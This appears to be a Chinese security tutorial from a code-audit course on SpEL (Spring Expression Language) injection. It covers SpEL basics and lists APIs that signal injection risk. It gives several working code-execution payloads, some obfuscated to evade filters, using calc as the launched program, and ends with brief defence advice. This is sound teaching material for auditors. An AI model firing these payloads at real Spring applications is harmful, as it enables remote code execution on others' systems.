视频讲解:https://www.bilibili.com/video/BV1KT421k7ZE/
主要内容:
-
SpEL的简单使用
-
SpEL注入payload讲解
-
SpringBoot的SpEL注入漏洞分析
4. Spel和AOP实现自定义日志(视频没讲,具体实现在代码中)
进群二维码:
Spel概述
Spring表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,类似于Struts2x中使用的OGNL表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与
Spring Expression Language(简称 SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的特性,最显著的是方法调用和基本的字符串模板功能。最初使用SpEL表达式时,我总是错以为SpEL表达式的语法和Java一致,事实上二者相去甚远,本文会详细介绍SpEL表达式的工作原理以及语法。
Spel能干什么
字符串在整个的Spring中是非常重要的一个结构,因为一句字符串的变化可以实现不同的功能,但是字符串有时候还需要能够完成逻辑上功能,而这就可以使用SpEL处理。下面举几个简单的例子。
下面的例子是简单的字符串拼接
// 定义需要解析的字符串 这种方式是字面调用
String str = "'xxx'.concat('yyy')";
// 1 定义解析器
SpelExpressionParser parser = new SpelExpressionParser();
// 2 使用解析器解析表达式
Expression exp = parser.parseExpression(str);
// 3 获取解析结果
String value = (String) exp.getValue();
System.out.println(value);//xxxyyy
下面的例子则是使用Java对象
// Create and set a calendar
GregorianCalendar c = new GregorianCalendar();
c.set(1856, 7, 9);
// The constructor arguments are name, birthday, and nationality.
Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");
//该字符串变量name的值将被设定为“Nikola Tesla”。
// 类StandardEvaluationContext是可以指定哪些对象的“name” 属性将被解析。
EvaluationContext context = new StandardEvaluationContext(tesla);
String name = (String) exp.getValue(context);
System.out.println(name);
// =====
//使用字符串创建表达式
String str = "'hello'"; // hello
//使用Java对象直接new
String str = "new String('Hello Word') "; // Hello Word
//使用 T(type) ,引用常量和静态方法
String str = "T(java.lang.String).valueOf(123)";
// String str = "6*6";
StandardEvaluationContext standardEvaluationContext = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(str);
System.out.println(exp.getValue(standardEvaluationContext));
Spel注入
存在Spel注入的前提是存在SpEl相关的库,如下是相关的库
org.springframework.expression.spel.standard
SpelExpressionParser
parseExpression
expression.getValue();
expression.setValue();
SpEl解析SpEL提供了两套不同的接口,分别是"SimpleEvaluationContext"和"StandardEvaluationContext"。其中"SimpleEvaluationContext" 仅支持简单的表达式,抛弃了Java类型引用,构造函数,相较比较安全。而"StandardEvaluationContext" 支持复杂的表达式,如方法调用、属性访问等。如果在不指定EvaluationContext的情况下,SpEl默认使用"StandardEvaluationContext"。
// 执行exec
T(java.lang.Runtime).getRuntime().exec("calc.exe");
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe");
构造payload
T(java.lang.Ru" + "ntime).getRuntime().exec('calc');
String spel = "T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[]))" +".invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")" +".getMethod("getRu"+"ntime").invoke(T(String).getClass()" +".forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})n";
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("java.lang.Runtime.getRuntime().exec('calc')")";
T(java.lang.Runtime).getRuntime().exec("calc")
T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))
Spel 防御
使用 SimpleEvaluationContext
SpelExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
expression.setValue(context, "payload");
白名单过滤
略
原文始发于微信公众号(安全随心录):第六课-系统学习代码审计:表达式注入之SpEL(Spring表达式)注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论